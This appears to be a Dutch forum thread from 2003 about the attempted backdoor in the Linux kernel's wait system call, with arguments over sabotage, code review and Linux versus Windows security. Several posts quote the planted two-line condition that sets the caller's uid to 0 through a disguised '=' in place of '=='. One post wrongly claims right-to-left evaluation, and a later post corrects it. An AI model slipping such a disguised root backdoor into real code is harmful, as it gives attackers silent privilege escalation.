FOK!forum / Digital Corner / Backdoor in nieuwe Linux kernel
Hiawathavrijdag 7 november 2003 @ 09:55
Afgelopen woensdag hebben software ontwikkelaars een backdoor ontdekt in de nieuwe Linux kernel. Deze backdoor bestond uit 2 zorgvuldig toegevoegde regels code in de 'wait()' system call. Iedereen met toegang tot een machine met deze aangepaste kernel zou makkelijk root rechten kunnen krijgen. Het is nog onduidelijk wie verantwoordelijk is voor deze subtiele aanpassing van de kernel.

Het volledige verhaal is hier te vinden.

"All your Linux-servers are belong to us!"

Jarnovrijdag 7 november 2003 @ 09:57
Dit is natuurlijk wel de nachtmerrie van de Oopen Source gemeenschap: saboteurs binnen de ontwikkelploeg...
Hiawathavrijdag 7 november 2003 @ 10:01
quote:
Op vrijdag 7 november 2003 09:57 schreef Jarno het volgende:
Dit is natuurlijk wel de nachtmerrie van de Oopen Source gemeenschap: saboteurs binnen de ontwikkelploeg...
Of een hacker die zich toegang heeft weten te verschaffen tot de host waar de 'ontwikkel source' staat.
Mangoworks2002vrijdag 7 november 2003 @ 10:02
Zo zie je maar, elk OS heeft zo zijn foutjes.
BladE-l-----vrijdag 7 november 2003 @ 10:03
quote:
"Whoever did this knew what they were doing," says Larry McVoy, founder of San Francisco-based BitMover, Inc., which hosts the Linux kernel development site that was compromised. "They had to find some flags that could be passed to the system without causing an error, and yet are not normally passed together... There isn't any way that somebody could casually come in, not know about UNIX, not know the Linux kernel code, and make this change. Not a chance."
Sinds wanneer kent Gates Unix/Linux-code?
Dit is inderdaad een gericht sabotage geweest.
Helaas is het handmatig ingevoerd in een code die normaal gesproken wordt gegenereerd. Anders was het waarschijnlijk niet voor de release ontdekt.
bobjuhvrijdag 7 november 2003 @ 10:04
Nu maar ff wachten op de *nix nerd die hier weer hard gaan lopen roepen over dat nog altijd veiliger is dan windows
ianweeksvrijdag 7 november 2003 @ 10:04
quote:
Op vrijdag 7 november 2003 09:57 schreef Jarno het volgende:
Dit is natuurlijk wel de nachtmerrie van de Oopen Source gemeenschap: saboteurs binnen de ontwikkelploeg...
Correctie: de nachtmerrie van elke programmeur. Bij closed source software is de kans op zulke zaken alleen maar groter, omdat er minder 'ogen meekijken'. Het probleem is echter dat die backdoors vaak niet gevonden worden, of wanneer ze wel gevonden worden houdt men zich stil ivm negatieve publiciteit.
Een voorbeeld is Interbase van Borland waarin vele jaren lang een backdoor heeft gezeten. Deze is pas gevonden toen het open source werd.
MindlessWankervrijdag 7 november 2003 @ 10:06
quote:
Op vrijdag 7 november 2003 10:04 schreef bobjuh het volgende:
Nu maar ff wachten op de *nix nerd die hier weer hard gaan lopen roepen over dat nog altijd veiliger is dan windows
*oordoppen alvast indoet*
Jarnovrijdag 7 november 2003 @ 10:07
quote:
Op vrijdag 7 november 2003 10:04 schreef ianweeks het volgende:

[..]

Correctie: de nachtmerrie van elke programmeur.


Mja, maar het zal toch een aanslag zijn op het vertrouwen dat er leek te zijn binnen de community.
BladE-l-----vrijdag 7 november 2003 @ 10:09
quote:
Op vrijdag 7 november 2003 10:04 schreef bobjuh het volgende:
Nu maar ff wachten op de *nix nerd die hier weer hard gaan lopen roepen over dat nog altijd veiliger is dan windows
Er is natuurlijk wel een verschil tussen stomme fouten van Microsoft en opzettelijke sabotage in de opensource-gemeenschap.
Ablazevrijdag 7 november 2003 @ 10:12
quote:
Op vrijdag 7 november 2003 10:09 schreef BladE-l----- het volgende:

[..]

Er is natuurlijk wel een verschil tussen stomme fouten van Microsoft en opzettelijke sabotage in de opensource-gemeenschap.


In Linux zitten ongetwijfeld ook stomme fouten. Natuurlijk worden die meestal wel snel verholpen. Maar omdat 99% van de thuisgebruikers Windows gebruikt, staan fouten in Windows veel vaker in de publiciteit.

[Dit bericht is gewijzigd door Ablaze op 07-11-2003 10:14]

Pharkusvrijdag 7 november 2003 @ 10:13
Is het btw nou door een hack erin gekomen (op een van de machines met de source) of gesubmit door iemand?

(oh laat maar is geen duidelijkheid over in het bericht)

Het zou me niet verbazen als er al een eerdere succesvolle poging is geweest. Maar goed zoals ook al aan het eind staat, als er plotseling allerlei linux bakken local ge-exploited worden dan weten ze vanzelf wel dat er iets mis is:)

Hiawathavrijdag 7 november 2003 @ 10:15
Ben ook wel benieuwd naar of de hacker nog meer van die subtiele wijzigingen heeft aangebracht.
Teknomanvrijdag 7 november 2003 @ 10:17
Hier zal toch weinig/geen gebruik van worden gemaakt door hackers ect..

De gemiddelde Linux gebruiker is een stuk slimmer dan de gemiddelde Windows gebruiker. Als iemand een Linux servertje gaat draaien dan weet degene meestal al veel van servers ect af.

Met windows heb je allemaal van die voorgekauwde onzin zoals netwerk diskettes enzo...

BladE-l-----vrijdag 7 november 2003 @ 10:22
quote:
Op vrijdag 7 november 2003 10:12 schreef Ablaze het volgende:

[..]

In Linux zitten ongetwijfeld ook stomme fouten. Natuurlijk worden die meestal wel snel verholpen. Maar omdat 99% van de thuisgebruikers Windows gebruikt, staan fouten in Windows veel vaker in de publiciteit.


Een fout in Linux bestaat vaak uit een compatibiliteitsprobleem of het verkeerd aanspreken van resources. Beveiligingsproblemen zijn vaak voor de release al opgeklaard.
Windows XP is standaard al bijna niet backwards compatible en beveiligings problemen worden pas sinds 2 jaar echt serieus genomen. Niet dat er iets mee gedaan is, getuige de blasterworm en aanverwanten.
Dr.Stupidvrijdag 7 november 2003 @ 10:36
quote:
Op vrijdag 7 november 2003 10:02 schreef Mangoworks2002 het volgende:
Zo zie je maar, elk OS heeft zo zijn foutjes.
Dit is geen fout maar moedwillige sabotage. Iets anders dan uit arrogantie fouten niet opsporen en oplossen.
ianweeksvrijdag 7 november 2003 @ 10:49
quote:
Op vrijdag 7 november 2003 10:12 schreef Ablaze het volgende:
In Linux zitten ongetwijfeld ook stomme fouten. Natuurlijk worden die meestal wel snel verholpen. Maar omdat 99% van de thuisgebruikers Windows gebruikt, staan fouten in Windows veel vaker in de publiciteit.
Haha, die hebben we nog niet eerder gehoord!

Wil iedereen die dit leest en denkt dat deze jongen gelijk heeft, please ff dit artikeltje lezen, zodat dit misverstand snel uit de wereld geholpen wordt?!?

http://www.theregister.co.uk/content/56/33226.html

Het is geschreven door iemand van SecurityFocus, een grote speler in de security wereld.

Ik heb dit argument vaak gebruikt zien worden door mensen die toch niet helemaal snappen hoe het in elkaar zit. Ik ging wel eens met ze in discussie maar tegenwoordig post ik dit artikeltje. Mooie quote: To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it.

iemoevrijdag 7 november 2003 @ 10:51
quote:
Op vrijdag 7 november 2003 10:06 schreef MindlessWanker het volgende:

[..]

*oordoppen alvast indoet*


*pakt bus Pringles en leunt achterover
arnout109vrijdag 7 november 2003 @ 11:02
windows is beter flame flame
BladE-l-----vrijdag 7 november 2003 @ 11:14
quote:
Op vrijdag 7 november 2003 11:02 schreef arnout109 het volgende:
windows is beter flame flame
windows is lekker.
Tijnvrijdag 7 november 2003 @ 11:16
quote:
Op vrijdag 7 november 2003 10:03 schreef BladE-l----- het volgende:

[..]

Sinds wanneer kent Gates Unix/Linux-code?


Iedereen kent de sourcecode van Linux. Das het hele idee van Open Source.
devzerovrijdag 7 november 2003 @ 11:23
quote:
Op vrijdag 7 november 2003 10:36 schreef Dr.Stupid het volgende:
Dit is geen fout maar moedwillige sabotage. Iets anders dan uit arrogantie fouten niet opsporen en oplossen.
Dit zijn briliante hacks Geen bug vinden/exploiteren maar gewoon er zelf in zetten. Hoeveel van dat soort code zou er nog meer in zitten zonder dat iemand het weet.
CoReTeXvrijdag 7 november 2003 @ 11:26
Als dat zelfde in windows is of zou gebeuren komt er nooit iemand achter
Roelliovrijdag 7 november 2003 @ 11:29
quote:
Op vrijdag 7 november 2003 10:04 schreef bobjuh het volgende:
Nu maar ff wachten op de *nix nerd die hier weer hard gaan lopen roepen over dat nog altijd veiliger is dan windows
Windows schijnt standaard backdoored te zijn. En ik heb geen reden om aan te nemen dat dit onwaar zou zijn.
Pharkusvrijdag 7 november 2003 @ 11:39
quote:
Op vrijdag 7 november 2003 11:29 schreef Roellio het volgende:

[..]

Windows schijnt standaard backdoored te zijn. En ik heb geen reden om aan te nemen dat dit onwaar zou zijn.


url bron? anders schaar ik het achter broodje aap/conspiracy theories.
BladE-l-----vrijdag 7 november 2003 @ 11:47
quote:
Op vrijdag 7 november 2003 11:16 schreef Tijn het volgende:

[..]

Iedereen kent de sourcecode van Linux. Das het hele idee van Open Source.


Duh, lees die quote dan. Niet iedereen weet genoeg van linux-code om een dergelijke backdoor erin te zetten.
BladE-l-----vrijdag 7 november 2003 @ 11:48
quote:
Op vrijdag 7 november 2003 11:39 schreef Pharkus het volgende:

[..]

url bron? anders schaar ik het achter broodje aap/conspiracy theories.


ik vind remote admin al dicht in de buurt komen.
markvlethvrijdag 7 november 2003 @ 11:54
quote:
Op vrijdag 7 november 2003 10:49 schreef ianweeks het volgende:
Wil iedereen die dit leest en denkt dat deze jongen gelijk heeft, please ff dit artikeltje lezen, zodat dit misverstand snel uit de wereld geholpen wordt?!?

http://www.theregister.co.uk/content/56/33226.html


Die jongen heeft ook grotendeels gelijk. Als we even naar dit jaar kijken zijn er eigelijk maar twee grote verissen actief geweest. Dat zijn namelijk sobig en het blaster virus. Voor het blaster virus was allang een patch beschikbaar. Voor sobig enkele uren na de uitbraak.

Ik vind dat voor het meest gebruikte desktop os nou niet echt bepaald zorgelijk. En waarom zou je een virus schrijven voor een OS waar toch geen hond op werkt? Het blijft gewoon een feit dat er zoveel virussen uitkomen voor windows omdat er meer mensen gebruik van maken.

Overigens is het feit 60.000 virussen een niets zeggend getal. Immers zijn veel virussen klonen van elkaar en gebruiken de zelfde "gaten".

Dus probeer eerst maar is echte cijfers te vinden over hoeveel gaten we het eigelijk hebben. (en die staan dus vrijwel gelijk aan de updates van windows, en dan zie ik dat er voor linux veel meer updates nodig zijn.)

BladE-l-----vrijdag 7 november 2003 @ 12:01
quote:
k vind dat voor het meest gebruikte desktop os nou niet echt bepaald zorgelijk. En waarom zou je een virus schrijven voor een OS waar toch geen hond op werkt?
dit is anders ook leuk leesvoer.
Misschien is linux op de desktop niet zo wijdverspreid als Windows, de vele gaten in IIS en Windows Server heeft wel zo zijn effect op de serverwereld.
Ondanks een enorme reclamecampagne en vele gesponsorde onderzoeken van de kant van Microsoft blijven mensen keizen voor een Linux oplossing voor hun servers. Waarom? Vanwege de veiligheid en stabiliteit.
Maar dit is niet een Linux vs Windows topic, het gaat hier over het bericht dat iemand de Linux code heeft geprobeerd te saboteren.
Hiawathavrijdag 7 november 2003 @ 12:01
quote:
Op vrijdag 7 november 2003 11:54 schreef markvleth het volgende:
Het blijft gewoon een feit dat er zoveel virussen uitkomen voor windows omdat er meer mensen gebruik van maken.
Dan daag ik je bij deze uit om een succesvol virus te schrijven voor Linux of MacOSX. Kan je alvast verklappen dat je dat niet gaat lukken, omdat Unix structureel beter en veiliger in elkaar zit dan Windows.
markvlethvrijdag 7 november 2003 @ 12:05
quote:
Op vrijdag 7 november 2003 12:01 schreef BladE-l----- het volgende:[..]
Misschien is linux op de desktop niet zo wijdverspreid als Windows, de vele gaten in IIS en Windows Server heeft wel zo zijn effect op de serverwereld.
[..]
Maar dit is niet een Linux vs Windows topic, het gaat hier over het bericht dat iemand de Linux code heeft geprobeerd te saboteren.
In de webserver markt vind ik windows ook bepaald niet sterk. De IIS loopt ook niet echt leker en persoonlijk vind ik dat apache ding ok al helemaal niks. Ik geef meer om Tomcat...

Maar je hebt gelijk, het gaat over de vermeende sabotage. Nou het lijkt mij gewoon prutswerk, foutje is menselijk.

Hiawathavrijdag 7 november 2003 @ 12:06
quote:
Op vrijdag 7 november 2003 12:05 schreef markvleth het volgende:
Maar je hebt gelijk, het gaat over de vermeende sabotage. Nou het lijkt mij gewoon prutswerk, foutje is menselijk.
Prutswerk? Waar haal je dat nou weer vandaan? Iemand maakt opzettelijk een wijziging en het is meteen prutswerk?
markvlethvrijdag 7 november 2003 @ 12:08
quote:
Op vrijdag 7 november 2003 12:01 schreef Hiawatha het volgende:
Dan daag ik je bij deze uit om een succesvol virus te schrijven voor Linux of MacOSX. Kan je alvast verklappen dat je dat niet gaat lukken, omdat Unix structureel beter en veiliger in elkaar zit dan Windows.
Bewijs je uitspraak maar. Maar dan wel in een nieuw topic, want anders gaan we teveel of hier en wordt het vast en zeker weer een flame-war...
BladE-l-----vrijdag 7 november 2003 @ 12:10
quote:
Op vrijdag 7 november 2003 12:05 schreef markvleth het volgende:

[..]

In de webserver markt vind ik windows ook bepaald niet sterk. De IIS loopt ook niet echt leker en persoonlijk vind ik dat apache ding ok al helemaal niks. Ik geef meer om Tomcat...

Maar je hebt gelijk, het gaat over de vermeende sabotage. Nou het lijkt mij gewoon prutswerk, foutje is menselijk.


Maar dit is code die handmatig ingevoegd in protocollen die automatisch zijn gegenereerd. Iemand heeft er doelbewust in zitten te editten.
Hiawathavrijdag 7 november 2003 @ 12:10
quote:
Op vrijdag 7 november 2003 12:08 schreef markvleth het volgende:
Bewijs je uitspraak maar.
Als laatste over Windows vs Unix: bewijs van mijn uitspraak is in de geschiedenis van de IT te vinden. Aantal virussen, security problemen, bedrijven en overheden die Unix kiezen ipv Windows, toeneemende populariteit van Linux enz.

----------------------------------< en weer ontopic>---------------------------------

markvlethvrijdag 7 november 2003 @ 12:12
quote:
Op vrijdag 7 november 2003 12:10 schreef Hiawatha het volgende:
Als laatste over Windows vs Unix: bewijs van mijn uitspraak is in de geschiedenis van de IT te vinden. Aantal virussen, security problemen, bedrijven en overheden die Unix kiezen ipv Windows, toeneemende populariteit van Linux enz.
Dit soort uitspraken heb ik een stukje terug al beargumenteerd waarom deze aanname niet gemaakt mag worden.
Pharkusvrijdag 7 november 2003 @ 12:13
quote:
Op vrijdag 7 november 2003 12:01 schreef Hiawatha het volgende:

[..]

Dan daag ik je bij deze uit om een succesvol virus te schrijven voor Linux of MacOSX. Kan je alvast verklappen dat je dat niet gaat lukken, omdat Unix structureel beter en veiliger in elkaar zit dan Windows.


Met een remote en local exploit kom je al een heel eind.
Hiawathavrijdag 7 november 2003 @ 12:17
quote:
Op vrijdag 7 november 2003 12:13 schreef Pharkus het volgende:

[..]

Met een remote en local exploit kom je al een heel eind.


Zo'n virus zal geen lang leven hebben. De Open Source wereld is ook open in het vermelding van fouten. Fout wordt gefixed en dag dag virus. In tegenstelling tot Windows applicaties. Daar zitten naast implementatie fouten ook ontwerp fouten in. Daar is niet zo maar een fix voor te maken omdat je dan de werking van de applicatie aanpast.

Jaja, ik weet het: we gaan weer offtopic. Ik maak wel een centraal Windows vs Linux vs MacOSX topic.

Pharkusvrijdag 7 november 2003 @ 12:19
quote:
Op vrijdag 7 november 2003 12:12 schreef markvleth het volgende:

[..]

Dit soort uitspraken heb ik een stukje terug al beargumenteerd waarom deze aanname niet gemaakt mag worden.


Het ligt er maar net aan wat voor software je draait onder linux, sendmail en ics dns hebben hun share van remote exploits wel gehad, qmail en djbdns niet. Redhat had vroeger de naam alles standaard open te zetten waar bugs inzaten, OpenBSD zet zoveel mogelijk standaard uit. Apache IIS vergelijking hoef ik niet te maken geloof ik. Wat er dan nog rest zijn local exploits, waar dit er een van geweest zou zijn.
Hiawathavrijdag 7 november 2003 @ 12:22
STOP STOP, er is een centraal OS flame topic. Vanaf nu back ontopic!
Pharkusvrijdag 7 november 2003 @ 12:26
Hoe moeillijk zou het zijn om daadwerkelijk onopgemerkt zulke veranderingen in de linux kernel toe te voegen?
Hiawathavrijdag 7 november 2003 @ 12:30
quote:
Op vrijdag 7 november 2003 12:26 schreef Pharkus het volgende:
Hoe moeillijk zou het zijn om daadwerkelijk onopgemerkt zulke veranderingen in de linux kernel toe te voegen?
Niet alleen in de Linux kernel, maar in source code in het algemeen. Zeker in de Open Source wereld kan iedereen meewerken aan code. Wat nou als een kwaad willende persoon zich inzet voor een project en bij het core-team wordt geplaatst. Een aanpassing is dan zo gemaakt. Zeker een subtiele verandering zoals die net in de Linux kernel is gemaakt (== vervangen door =). Dat zie je snel over het hoofd. Ik denk dat uit dit voorval een goede les geleerd kan worden.
Hiawathavrijdag 7 november 2003 @ 12:58
Nou, het centrale OS topic is gesloten. Dat betekend weer fijn OS flames verspreid over meerdere topics. Bedankt Lucille.
Skinkievrijdag 7 november 2003 @ 13:09
nu heb ik net 2.4.22 en 2.6.0-test9 nagelopen en current_uid wordt niet 0... dus iemand mag mij ff verlichten...
Hiawathavrijdag 7 november 2003 @ 13:12
quote:
Op vrijdag 7 november 2003 13:09 schreef Skinkie het volgende:
nu heb ik net 2.4.22 en 2.6.0-test9 nagelopen en current_uid wordt niet 0... dus iemand mag mij ff verlichten...
werkwijze?
Skinkievrijdag 7 november 2003 @ 13:30
quote:
Op vrijdag 7 november 2003 13:12 schreef Hiawatha het volgende:

[..]

werkwijze?


lezen en vergelijken
Lawinevrijdag 7 november 2003 @ 13:35
quote:
Op vrijdag 7 november 2003 11:23 schreef devzero het volgende:
Dit zijn briliante hacks Geen bug vinden/exploiteren maar gewoon er zelf in zetten. Hoeveel van dat soort code zou er nog meer in zitten zonder dat iemand het weet.
Weinig/geen schat ik, zie de posting van ianweeks hierboven. Voordat de code in de final release van een nieuwe kernel kan zitten hebben er al tig mensen naar gekeken en is de kans op dit soort exploits bijzonder klein.
werkeendvrijdag 7 november 2003 @ 14:36
quote:
Op vrijdag 7 november 2003 11:29 schreef Roellio het volgende:

[..]

Windows schijnt standaard backdoored te zijn. En ik heb geen reden om aan te nemen dat dit onwaar zou zijn.


standaart windows heeft geen backdoor... totdat je ungepatchte iis servers gaat draaien..

standaart linux is zo lek als een zeef

jepvrijdag 7 november 2003 @ 14:40
quote:
Op vrijdag 7 november 2003 14:36 schreef werkeend het volgende:

[..]

standaart windows heeft geen backdoor... totdat je ungepatchte iis servers gaat draaien..

standaart linux is zo lek als een zeef


Praat niet zo clueless

Linux is een Kernel, en voor het geval je een distributie bedoeld is Linux absoluut veiliger. Een RedHat die net zo veel software bevat als een Windows install is veiliger, om maar te zwijgen over Debian installaties.

We mogen hier niet flamen, maar als dergelijke clueloze apen zomaar iets brabbelen kan ik dat toch even niet laten.

Tijnvrijdag 7 november 2003 @ 14:56
quote:
Op vrijdag 7 november 2003 11:47 schreef BladE-l----- het volgende:

[..]

Duh, lees die quote dan. Niet iedereen weet genoeg van linux-code om een dergelijke backdoor erin te zetten.


En jij denkt dat Gates die kennis niet heeft
Najravrijdag 7 november 2003 @ 15:04
Het zou gaan om deze code
code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  retval = -EINVAL;

De uitleg die hieraan gegeven wordt is dat current->uid op 0 wordt gezet alleen als options gelijk is aan (__WCLONE|__WALL). Maar dat is naar mijn idee echt onzin. Ten eerste worden expressies van rechts naar links gevalueerd, (current->uid = 0) wordt dus eerder bekeken dan (options == (__WCLONE|__WALL)).

Ten tweede als ik in een vergelijking een toewijzing neer zou zetten dan mag ik toch hopen dat die ook wordt uitgevoerd. Denk bijvoorbeeld aan het gebruik van ++. Oftewel de current->uid zou altijd op 0 gezet moeten worden met bovenstaande code en dat zou dus simpelweg betekenen dat de programmeur van dit stukje per abuis = heeft neergezet ipv ==

Misschien dat iemand ziet wat er schort aan mijn uitleg want ik ga er dan maar ff vanuit dat al die security experts het bij het juiste eind hebben.

[Dit bericht is gewijzigd door Najra op 07-11-2003 15:09]

yootjevrijdag 7 november 2003 @ 15:28
quote:
Op vrijdag 7 november 2003 15:04 schreef Najra het volgende:
Het zou gaan om deze code
code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  retval = -EINVAL;

De uitleg die hieraan gegeven wordt is dat current->uid op 0 wordt gezet alleen als options gelijk is aan (__WCLONE|__WALL). Maar dat is naar mijn idee echt onzin. Ten eerste worden expressies van rechts naar links gevalueerd, (current->uid = 0) wordt dus eerder bekeken dan (options == (__WCLONE|__WALL)).
of ik nou
if (blaat == blaat && bla == bla)
bladiebla

of

if (bla == bla && blaat == blaat)
bladiebla

neerzet, het resultaat is hetzelfde. In PHP tenminste.

Nog wat dingen:

quote:
Op vrijdag 7 november 2003 11:47 schreef BladE-l----- het volgende:Duh, lees die quote dan. Niet iedereen weet genoeg van linux-code om een dergelijke backdoor erin te zetten.
Naar mijn weten is er geen speciale Linux Code, er wordt gewerkt met C, C++, whatever. En reken maar dat Gates daar wat van af weet. Maar lijkt me niet dat iemand van Microsoft dit heeft gedaan. Als dat zou uitkomen is dat hele erge publiciteit voor ze.

Voor de rest: Dat 1 keer zo iets wordt gedaan, wil niet zeggen dat er gelijk tig van dit soort dingen zijn. Deze fout is relatief snel aan het licht gekomen. Reken maar dat de code gecontroleerd wordt, er zijn duizenden mensen mee bezig.

Ik vraag me wel af hoe dit er uberhaupt in gekomen is. Ik weet niet hoe de kernel precies wordt ontwikkeld, maar het lijkt me toch niet dat iedereen zomaar de officiele versie van de kernel kan veranderen. Voordat er een verandering doorgevoerd wordt moet daar toch wel over gesproken worden op nieuwsgroepen oid? Lijkt me toch dat er ingebroken is op een server.

Hiawathavrijdag 7 november 2003 @ 16:01
quote:
Op vrijdag 7 november 2003 15:28 schreef yootje het volgende:
of ik nou
if (blaat == blaat && bla == bla)
bladiebla

of

if (bla == bla && blaat == blaat)
bladiebla

neerzet, het resultaat is hetzelfde. In PHP tenminste.


Niet helemaal waar. Bekijk het volgende stukje code:
php:
<?
    Header
("Content-type: text/plain");
    
    function 
waar() {
        print 
"waar\n";
        return 
true;
    }

    function 
onwaar() {
        print 
"onwaar\n";
        return 
false;
    }

    if (
onwaar() && waar()) {
        print 
"dus...\n";
    }
?>

Vervang (onwaar() && waar()) maar eens door (waar() && onwaar()) en bekijk de uitvoer.

[Dit bericht is gewijzigd door Hiawatha op 07-11-2003 16:08]

Najravrijdag 7 november 2003 @ 16:47
quote:
Op vrijdag 7 november 2003 15:28 schreef yootje het volgende:

[..]

of ik nou
if (blaat == blaat && bla == bla)
bladiebla

of

if (bla == bla && blaat == blaat)
bladiebla

neerzet, het resultaat is hetzelfde. In PHP tenminste.


Dat is allemaal heel leuk en aardig. Maar
1. het gaat hier om C
2. het gaat om de volgorde van de uitkomst van een vergelijking en een toewijzing. Waarin je overigens gelijk hebt dat de volgorde er niet toe hoort te doen, ik meld enkel dat als dat al een argument zou zijn dan nog klopt het niet omdat er van rechts naar links wordt gewerkt.
3. dit spreekt mijn verhaal helemaal niet tegen


Ik begrijp dat het een issue is dat men niet zo snel kan verklaren hoe de code er gekomen is. Maar dat het een hack zou zijn klopt niet.

Pharkuszaterdag 8 november 2003 @ 16:35
quote:
Op vrijdag 7 november 2003 12:30 schreef Hiawatha het volgende:
Niet alleen in de Linux kernel, maar in source code in het algemeen. Zeker in de Open Source wereld kan iedereen meewerken aan code. Wat nou als een kwaad willende persoon zich inzet voor een project en bij het core-team wordt geplaatst. Een aanpassing is dan zo gemaakt. Zeker een subtiele verandering zoals die net in de Linux kernel is gemaakt (== vervangen door =). Dat zie je snel over het hoofd. Ik denk dat uit dit voorval een goede les geleerd kan worden.
True maar voordat je bij een core team terecht komt... Ik bedoel, daar kom je niet zomaar even in te zitten.

Ik maak ook soms nog wel eens de fout een =je te vergeten in een if (leuk is dat als je in een recursieve functie zit), mi zou de compiler er over moeten zeuren, maar ansi denkt daar anders over, mede door het ontbreken van datatype bool in C.

op if(x=5) geeft de gcc compiler met -Wall de foutmelding (zonder Wall geen problemen):
warning: suggest parentheses around assignment used as truth value

dus als we if((x=5)) doen dan krijgen we de warning niet meer. Die dubbele haken zouden een codereviewer dan wel moeten alerten, alhoewel bij meerdere nested haken is het overzicht al snel zoek. Liever zou ik gezien hebben dat er a een bool datatype zou zijn b, als je een niet booleaanse expressie gebruikt in een if/switch/while ed, dat je het dan expliciet naar bool moet casten.

Pharkuszaterdag 8 november 2003 @ 16:50
quote:
Op vrijdag 7 november 2003 15:04 schreef Najra het volgende:
Het zou gaan om deze code
code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  retval = -EINVAL;

De uitleg die hieraan gegeven wordt is dat current->uid op 0 wordt gezet alleen als options gelijk is aan (__WCLONE|__WALL). Maar dat is naar mijn idee echt onzin. Ten eerste worden expressies van rechts naar links gevalueerd, (current->uid = 0) wordt dus eerder bekeken dan (options == (__WCLONE|__WALL)) .

Ten tweede als ik in een vergelijking een toewijzing neer zou zetten dan mag ik toch hopen dat die ook wordt uitgevoerd. Denk bijvoorbeeld aan het gebruik van ++. Oftewel de current->uid zou altijd op 0 gezet moeten worden met bovenstaande code en dat zou dus simpelweg betekenen dat de programmeur van dit stukje per abuis = heeft neergezet ipv ==

Misschien dat iemand ziet wat er schort aan mijn uitleg want ik ga er dan maar ff vanuit dat al die security experts het bij het juiste eind hebben.


Het wordt van links naar rechts geevalueerd. Dus als de eerste expressie onwaar is dan wordt de tweede niet geevalueerd, dit is gedaan om de snelheid op te schroeven, waarom zou je in een && de tweede expressie ook gaan evualueren als het nooit meer true gaat worden?
code:
#include <stdio.h>

int waar(){
      printf("%s","waar\n");
      return 1;
}
int onwaar(){
      printf("%s","onwaar\n");
      return 0;
}
int main(){
      printf("%s","onwaar(),waar()\n");
      if((onwaar()) && (waar())){
            //bla;
      }
      printf("%s","waar(),onwaar()\n");
      if((waar()) && (onwaar())){
            //bla
      }
      return 0;
}


output:
code:
onwaar(),waar()
onwaar
waar(),onwaar()
waar
onwaar

Edit:
Ohja en waarom het hier om een bewuste hack ging en niet om een typo van een programmeur:
quote:
However sophisticated, the hack fell apart Wednesday, when a routine file integrity check told McVoy that someone had manually changed a copy of a kernel source code file that's normally only modified by an automated process, specifically one that pulls the code from BitMover's BitKeeper software collaboration tool and repackages it for the open source CVS system still favored by some developers.

[Dit bericht is gewijzigd door Pharkus op 08-11-2003 16:59]

gdayzaterdag 8 november 2003 @ 17:41
quote:
Op vrijdag 7 november 2003 15:28 schreef yootje het volgende:

[..]

of ik nou
if (blaat == blaat && bla == bla)
bladiebla

of

if (bla == bla && blaat == blaat)
bladiebla

neerzet, het resultaat is hetzelfde. In PHP tenminste.


Nou ja, afhankelijk van instellingen van de compiler, kan het zijn dat er maar 1 element ge-evalueerd wordt, indien het gaat om een AND. Immers, als 1 element false is, heeft het voor de waarde van de totale AND geen zin om nog andere elementen te evalueren. Dat kan bugs opleveren die moeilijk te vinden zijn.
LintuxCxzaterdag 8 november 2003 @ 17:55
quote:
Op vrijdag 7 november 2003 13:09 schreef Skinkie het volgende:
nu heb ik net 2.4.22 en 2.6.0-test9 nagelopen en current_uid wordt niet 0... dus iemand mag mij ff verlichten...
De code heeft nooit in released kernels gezeten. Alleen heel even in CVS, en toen ze de boel in BitKeeper gingen importeren kwam deze fout aan het licht.

Of in ieder geval, dat is wat ik uit de thread begrepen heb. Wat best lastig is, want het development model van Linux is tegenwoordig zo te zien nog ingewikkelder dan de kernel zelf...

Maar goed, dus nog even voor alle duidelijkheid: Deze backdoor heeft het daglicht niet tot amper gezien!

LintuxCxzaterdag 8 november 2003 @ 18:00
quote:
Op vrijdag 7 november 2003 12:17 schreef Hiawatha het volgende:
Zo'n virus zal geen lang leven hebben. De Open Source wereld is ook open in het vermelding van fouten. Fout wordt gefixed en dag dag virus.
Tsja, dat is op zich in de meeste gevallen waar, maar helaas zijn er steeds meer server beheerders die het belang van security patches niet inzien en dus veel te laat zijn met de installatie ervan. Niet alleen op Windows servers, ook op Linux servers.

Want om eerlijk te zijn, als alle Windows beheerders wisten waar ze mee bezig waren zou een gemiddelde worm ook veel meer moeite hebben met z'n verspreiding.

Jaluzaterdag 8 november 2003 @ 18:08
quote:
Op vrijdag 7 november 2003 12:12 schreef markvleth het volgende:

[..]

Dit soort uitspraken heb ik een stukje terug al beargumenteerd waarom deze aanname niet gemaakt mag worden.


Vertel het nog maar eens, ik volg jouw argumentatie nog steeds niet...
Jaluzaterdag 8 november 2003 @ 18:16
quote:
Op vrijdag 7 november 2003 12:26 schreef Pharkus het volgende:
Hoe moeillijk zou het zijn om daadwerkelijk onopgemerkt zulke veranderingen in de linux kernel toe te voegen?
In ieder geval stukken moeilijker dan bij Windows, aangezien het aantal ontwikkelaars veel groter en de openheid bij die ontwikkeling zelfs 100% groter is dan bij het gesloten Windows. God mag weten hoeveel backdoors er al in Windows zitten, die er moedwillig door MS ingebouwd zijn. Nee, het is niet te bewijzen dat ze er zijn. Maar ook niet dat ze er niet zijn...
Pharkuszaterdag 8 november 2003 @ 18:32
quote:
Op zaterdag 8 november 2003 18:16 schreef Jalu het volgende:
In ieder geval stukken moeilijker dan bij Windows, aangezien het aantal ontwikkelaars veel groter en de openheid bij die ontwikkeling zelfs 100% groter is dan bij het gesloten Windows. God mag weten hoeveel backdoors er al in Windows zitten, die er moedwillig door MS ingebouwd zijn. Nee, het is niet te bewijzen dat ze er zijn. Maar ook niet dat ze er niet zijn...
Ik wil niet weer discussie win-linux oprakelen, maar het is voor een bedrijf zeer onwenselijk als dit soort backdoors naar buiten komen (ook voor open source). In een bedrijf kan het op verschillende niveau's gebeuren, een programmeur die voor zichzelf een backdoor in bouwt en dit geheim houdt en ook nog eens langs de controle/review board weten te loodsen.

Tweede is zoals jij suggereert dat er moedwillige vanuit bedrijfspolicy backdoors worden in gebouwd. Dan moeten er dus meerdere mensen (hoge personen) zijn die er van af weten. Dus deze mensen moet je koste wat kost in dienst houden en tevreden houden, want als ze dat gaan lekken dan is het eind van (in dit geval). Niet te vergeten wat mensen die er van af weten wel niet kunnen roepen op een nieuwjaarsborrel

Jaluzaterdag 8 november 2003 @ 18:38
quote:
Op zaterdag 8 november 2003 18:32 schreef Pharkus het volgende:

[..]

